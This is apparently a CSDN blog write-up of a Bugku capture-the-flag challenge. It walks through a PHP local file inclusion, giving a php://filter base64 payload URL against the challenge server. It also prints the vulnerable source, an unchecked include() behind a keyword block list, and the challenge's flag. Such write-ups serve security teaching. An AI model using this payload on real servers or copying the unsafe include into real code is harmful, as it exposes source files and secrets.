bugku flag在index.php里

最新推荐文章于 2022-10-24 14:24:16 发布

#Super Pig

最新推荐文章于 2022-10-24 14:24:16 发布

阅读量472

点赞数

分类专栏：信息安全

本文链接：https://blog.csdn.net/zyl_wjl_1413/article/details/83903939

版权

信息安全专栏收录该内容

24 篇文章 0 订阅

订阅专栏

思路

点击链接后,看见参数file=show.php ,典型的本地文件泄露

破解

访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php即得index.php的源码的base64编码，解码即可得到flag（在注释里）

原理

1、php://filter可以访问本地文件
2、read=convert.base64-encode是以base64编码后读取目标文件，进行base64编码是为了让include函数无法执行而返回源码，如果没有进行编码，则直接进行无法看到注释，因而无法得到flag
3、resource=index.php是指明目标文件

以下为源码

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

新姿势

1、file——联想本地文件泄露
2、php封装协议
https://www.cnblogs.com/LittleHann/p/3665062.html 参考资料

#Super Pig

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
bugku flag在index.php里

思路点击链接后,看见参数file=show.php ,典型的本地文件泄露破解访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php即得index.php的源码的base64编码，解码即可得到flag（在注释里）原理1、php://...
复制链接

扫一扫